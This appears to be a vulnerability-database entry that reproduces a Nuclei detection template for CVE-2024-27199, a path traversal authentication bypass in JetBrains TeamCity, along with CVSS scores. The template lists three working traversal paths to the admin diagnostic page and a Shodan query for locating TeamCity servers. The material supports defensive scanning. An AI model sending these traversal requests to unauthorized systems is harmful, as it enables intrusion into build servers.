TeamCity < 2023.11.4 - Authentication Bypass

2024-03-0420:33:19

ProjectDiscovery

github.com

cve2024

teamcity

jetbrains

auth-bypass

path-traversal

limited-admin-actions

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.1

Confidence

Low

EPSS

0.969

Percentile

99.8%

JSON

In JetBrains TeamCity before 2023.11.4 path traversal allowing to perform limited admin actions was possible

id: CVE-2024-27199

info:
  name: TeamCity < 2023.11.4 - Authentication Bypass
  author: DhiyaneshDk
  severity: high
  description: |
    In JetBrains TeamCity before 2023.11.4 path traversal allowing to perform limited admin actions was possible
  reference:
    - https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27199
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cwe-id: CWE-23
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.component:"TeamCity"
  tags: cve,cve2024,teamcity,jetbrains,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/res/../admin/diagnostic.jsp"
      - "{{BaseURL}}/.well-known/acme-challenge/../../admin/diagnostic.jsp"
      - "{{BaseURL}}/update/../admin/diagnostic.jsp"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(body, "Debug Logging", "CPU & Memory Usage")'
        condition: and
# digest: 490a0046304402207d46ec6991f8498ff8c74ec6ebfe0f59f19210620cab88c23c7761c7701b640102201246e4baea4f5b436b45be21c4f66bbe35e8a5f3769b78de38ee94253f331fa7:922c64590222798bb761d5b6d8e72950